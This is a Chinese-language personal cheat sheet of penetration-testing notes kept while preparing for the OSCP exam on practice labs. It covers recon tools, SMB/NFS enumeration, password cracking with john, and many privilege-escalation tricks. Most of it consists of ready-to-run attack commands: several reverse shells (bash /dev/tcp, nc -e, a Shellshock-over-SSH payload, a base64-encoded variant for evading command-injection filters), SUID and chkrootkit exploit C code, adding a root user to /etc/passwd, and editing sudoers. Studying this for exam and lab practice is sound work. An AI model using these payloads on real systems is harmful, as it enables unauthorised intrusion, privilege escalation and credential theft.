靶场有段时间耽搁了,现在想想还是准备备考oscp吧,期间定的任务就每天一个靶场,遇到一些没有用过但是有意思的工具会记录下来,还有一些命令也会记录下来,当作笔记了,如果有很有意思的靶场应该会发篇文章记录。
1.cewl
详细教程:【工具使用】--- cewl_通地塔的博客-CSDN博客
引用其他师傅的博客
我的话只记录两条常用的
cewl http://192.168.15.146/ -w dict.txt #进行爬取该页面内容生成在当前文件夹生成字典
cewl http://192.168.15.146/ -n -e #爬取邮箱
2.netdiscover
网络扫描工具(kali-路由分析)
能够迅速的探测存活主机,如果单用nmap或者masscan扫全段,会很慢,这个探测出来之后在详细扫描会快一些。
netdiscover -i eth0 -r 192.168.1.0/24
3.gobuster
相比于dirb和御剑我觉得好一点的工具,dirb很强,但是太慢了,字典太大还会卡
我用的珍藏版御剑只能指定一些爆破目录,虽然可以自己修改他的原生字典,但是无法将后缀为.php/.html等等加在后面,也就是说字典什么样他就只能爆破什么样
gobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js
4.foremost
Kali Linux提供一款还原专用工具Foremost。该工具通过分析不同类型文件的头、尾和内部数据结构,同镜像文件的数据进行比对,以还原文件。
foremost strcpy.exe
5.sudo
sudo -l :提权方面先sudo -l 可以看到可以使用哪些用户的命令 然后对应执行
sudo -s :可以输入密码尝试临时获得高权限root账户
6.SUID提权
查找一些可以sudo的命令 在linux提权查找对应命令进行提权
find / -perm -u=s -type f 2>/dev/null
find / -group pinky 2>/dev/null #看一下当前某个工作组的可以执行文件 也可以找些东西
find / -user root -writable -type f -not -path "/proc/*" 2>/dev/null #查找权限为root但是可写的普通文件 并且不查找 /proc文件夹下的内容 并将错误信息不输出
find / -type f -perm 777 2>/dev/null
7.showmount
使用 showmount 来“显示 NFS 服务器的安装信息” 详情可以help
showmount -e 192.168.1.9
8.enum4linux
用于枚举windows和Linux系统上的SMB服务的工具 详情可以help
enum4linux 192.168.1.9
enum4linux -a -o 192.168.1.9
9.mount
和 showmount 一起使用 将目标的远程目录挂载到本地
mkdir ./nfsshare
mount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare
nfs共享时 如果提示权限不足 解决方法一般都是上到目标主机 看一下当前目录有该权限的账户的id值 然后再本机创建该类型的用户 如下:
无法访问已安装的共享,可能是因为设置了 root_squash 标志。我们可以放心地假设,如果我们有一个名为 vulnix 且具有相同 UID 的用户,我们就能够访问它。
创建用户:useradd -u "id" "username"
useradd -u 2008 vulnix
挂载:
mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock
10.smbmap
快速扫描和检查 SMB(Server Message Block)共享的命令行工具
smbmap -H <目标IP/主机名> -u <用户名> -p <密码>
smbmap -H 192.168.1.9
smbmap -H 192.168.1.9 -r anonymous
11.smbclient
用于存取共享目标的客户端程序 --help可以查看详细命令
smbclient //192.168.1.9/secured -U divid
get xxxxx ;下载某个文件
put xxxxx ;上传某个文件
mget * ;下载当前目录下所有文件
tar c test.tar notes/ ; 打包notes目录下所有文件
12.steghide
隐写工具 --help 可以查看需要的详细命令
steghide info plainsight.jpg
13.ffuf
模糊测试工具 详情可以help或者找博客
ffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt
14.修改文件提权
如果有sudo可以执行的root的文件,改成下面的格式可以直接提权
#!/bin/bash
bash -ip
15.knock
敲门收集了两种方法
类似于下图为敲门的配置
knock 192.168.1.5 33 44 55
nmap -Pn --host-timeout 201 --max-retries 0 -p 159 192.168.1.5
16.id_rsa 私钥爆破
今天打靶场遇到了这种情况,就去学习了
cd /usr/share/john
使用这个目录下的ssh2john.py文件进行转化格式
./ssh2john.py ~/id_rsa > ~/hash 将id_rsa转化为john可以识别的内容
开始爆破
john hash --wordlist=/usr/share/wordlists/rockyou.txt
17.newgrp
newgrp命令是Linux系统中的一个用于切换用户组的命令。通过newgrp命令,用户可以暂时地切换到另一个用户组,以便在该用户组下执行命令或访问特定的文件
newgrp
18.文件上传构造环境
用于构造文件上传的环境,不用自己构建数据包,找到接口上传即可
<html>
<body>
<form method="post" action="http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>
19.chkrootkit(非常规提权)
详情:Chkrootkit 0.49本地提权漏洞利用与防范研究 - 知乎
找到 chkrootkit 目录,目录里面一般有README 看看版本
一般在 /etc/chkrootkit
或者用该命令更好
./chkrootkit -V 如果为0.49 即可按照上面的方法提权
具体流程如下
保存文件为 updata.c 下载到目标机器的 /tmp 文件夹下
#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
gcc -o update update.c #进行编译
编译完成进入 chkrootkit 目录运行一下 chkrootkit ./chkrootkit
会发现 /tmp/update 变为了root的权限
回到 tmp 文件夹执行 ./updata 即可获得root权限
20.查看系统版本及内核
uname -r
cat /etc/*-release
21.脏牛Linux本地提权漏洞(CVE-2016-5195)
https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679
影响版本如下:
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
22.Apport(Ubuntu 14.04/14.10/15.04)- 竞态条件提权漏洞
Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit
没有想到过可以运行这个提权,因为这种类型的exp对我来说不是常见,也就认为不是很好用,但事实是他可以执行,所以就先记录一下。
23.hexchat
ngIRCd的默认密码是' wealllikedebian '
24.smtp-user-enum
smtp用户枚举 详细使用教程可以看help
smtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10
25.shellshock
打靶场时遇到连接成功直接断开的问题,搜了很久没有找到能够在 "ssh连接时执行命令" 的漏洞教程,唯一一个教的是在连接时后面加上 "ls -al" 可以执行命令 但是没有用 后面看wp找到的该漏洞
bash - how can shellshock be exploited over SSH? - Unix & Linux Stack Exchange
'() { :;}; command' #在连接时后面加上这个即可 command 为要执行的命令
ssh -i noob noob@192.168.1.5 -o PubkeyAcceptedKeyTypes=ssh-rsa "() { :;}; bash -c 'exec bash -i >& /dev/tcp/192.168.1.8/1111 <&1'"
26.apache2.conf 提权
原理就是 将apache2.conf 里加上某个用户和组 重启apache之后配置文件会写入进去 提前在/var/www/html 目录里放上webshell 这样重启完成在点击webshell可以反弹出来添加进去的用户的权限
默认不让root启动 所以提权其他用户 前提是要有重启apache以及修改apache2.conf 的权限
#User ${APACHE_RUN_USER}
#Group ${APACHE_RUN_GROUP}User test
Group test
27. netstat -tuln
查看端口占用情况 这个命令很简单没啥难度可言 但还是记录一下把
netstat -tuln
28. dig
爆破子域 dig后面跟着域名 @后面跟上dns服务器即可
dig hackers.blackhat.local @192.168.2.177
29.python Capabilities cap_sys_ptrace+ep提权
命令: getcap -r / 2>/dev/null |grep python
回显: /usr/bin/python2.7 = cap_sys_ptrace+ep
教程地址:
https://www.cnblogs.com/zlgxzswjy/p/15185591.html
30. /etc/passwd 提权
当 /etc/passwd 可以写入时,可以加入一条用户,su切换即可
生成加盐密码 Password为修改的密码 salt为修改的盐
perl -le 'print crypt("Password","salt")'
写入 /etc/passwd su切换即可
echo "hack:ad7t5uIalqMws:0:0::/root:/bin/bash" >> /etc/passwd
31.计划任务提权
cat /etc/crontab
查看计划任务 找到关键点
# */5 * * * * root cd /var/www/html/ && sudo ./finally.sh
- 第1列:分钟(0-59)
- 第2列:小时(0-23)
- 第3列:一个月中的第几天(1-31)
- 第4列:月份(1-12)
- 第5列:一周中的第几天(0-7,其中0和7都代表星期日)
- 第6列:要执行命令的用户
- 第7列:要执行的命令
表示每5分钟时,以root用户身份进入/var/www/html/
目录,并以sudo权限运行finally.sh
脚本
计划任务某个执行文件具有root权限,而普通用户可以更改该执行文件时
1. chmod u+s /bin/bash
chmod u+s /bin/bash
/bin/bash -p # 即可提权到 root 用户组
或者
cp /bin/bash /var/www/html/suidbash
chmod u+s /var/www/html/suidbash
suidbash -p #即可提权到 root 用户组
2. sudo -l
echo 'www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh' >> /etc/sudoers
将当前账户的 sudo 执行权限写入 sudoers 文件里,在给可执行文件加上 u+s 权限
最后sudo 执行该文件即可提权 如下:
chmod u+s finally.sh
echo 'www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh' >> /etc/sudoerssudo -l
Matching Defaults entries for www-data on sar:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser www-data may run the following commands on sar:
(ALL) NOPASSWD: /var/www/html/finally.sh
echo 'su root' >> finally.sh
sudo /var/www/html/finally.sh
32.Bypass命令注入限制
echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=" | base64 -d | bash
echo 解码执行
33.uncompyle6 pyc逆向
逆向pyc只用如下
uncompyle6 1.pyc > 1.py
34.反弹shell
bash -c 'exec bash -i >& /dev/tcp/192.168.2.75/9999 <&1'
python -c 'import pty; pty.spawn("/bin/bash")'
nc -e /bin/bash 192.168.31.17 7777
35.john
echo '$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41' >>/tmp/1
john /tmp/1 --wordlist=/usr/share/wordlists/rockyou.txt
zip:
zip2john passwd.zip > passwd.hashjohn passwd.hash
john passwd.hash --wordlist=/usr/share/wordlists/rockyou.txt
36.进程发现 pspy
Release No more waiting on drain · DominicBreuker/pspy · GitHub
上传运行即可 查看进程情况 后续进行提权
37.字典
目录爆破字典
/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt